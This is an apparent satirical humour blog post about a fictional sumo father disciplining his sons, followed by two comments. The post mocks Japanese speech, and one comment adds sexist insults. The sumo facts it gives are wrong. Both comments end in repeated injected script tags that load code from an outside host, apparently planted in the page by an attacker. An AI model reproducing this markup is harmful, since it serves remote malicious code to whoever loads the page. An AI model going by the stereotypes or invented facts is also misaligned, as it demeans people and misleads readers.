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Sumo Dad Lays Down Law, Kids Wisely Comply

by Mark on 3/18/2005 (2)

"Soooo...you talk back to mamasan? Hai!"

NAGOYA - Sumo champion Junichiro Koizumi lays down the law, kids wisely comply.

Hefting his two sons by their traditional Sumo loincloth, or chonmage, like two 10 gallon jugs of Saki, Junichiro Koizumi tossed them playfully into the dohyo or Sumo fighting circle, stomping his left foot down, and then the right, in the traditional Sumo fighting stance

"Soooo...my sons, although you are beginner Jonokuchi Sumo, you sass and talk back to your mother like a master Makunouchi! Let us see what kind of rikishi you have inside of you! Hai!"

Junichiro executed a flawless mawashi, or hip toss, plopping his sons down, before manuevering his massive bulk gently on top of them

"Sooo...you will not do your homework, yes? I will show you how master Sumo deal with young apprentice! Let me show you eye gouge! Ahahaha!!"

Predictably, Junichiro's boys have been described by their school superintendent, Yoshiro Takahashi as being the "two best behaved boys in the entire Honshu school disrict."i

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1. by jenna on 3/1/2007 4:52:29 PM

WHO THE FUCK WOULD DO THIS TO A FUCKEN LIL KID YOU NOE WAT THIS SHIT TELLS YOU IT TELLS YOU THAT THIS SO CALLED TRUE FIGHTER IS BEATEN SOMETHIN 10 TIMES SMALLER HIM! FUCK THERE SUM TRADITION! MY TRADITION IS BEING IN LOVE WITH THE RIGHTZ PPL! MAN DUDE GET A FUCKEN LIFE JESUS YOU JERKn </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

2. by Kenny on 3/1/2007 4:52:29 PM

Jenna - obviously you don't understand Japanese tradition. I was half Japanese once so let me explain it to you - in Japan the stock market crash left many hard working Japanese people in the streets. Sumo wrestling was all that they had, but the money was tight for everyone and one by one the Sumo wrestlers dropped their weight. The few remaining Sumos couldn't wrestle each other because of the Japanese rules governing profession extinctions, so they turned to childern. They are in abundance in Japan because the Japanese have too much time on their hands being unemployed and all. It is population control Jenna - and that's science. You can't argue with science. If you aren't able to wrap your small female brain around that one ask the closes male to explain it to you using puppets and colorful diagram charts. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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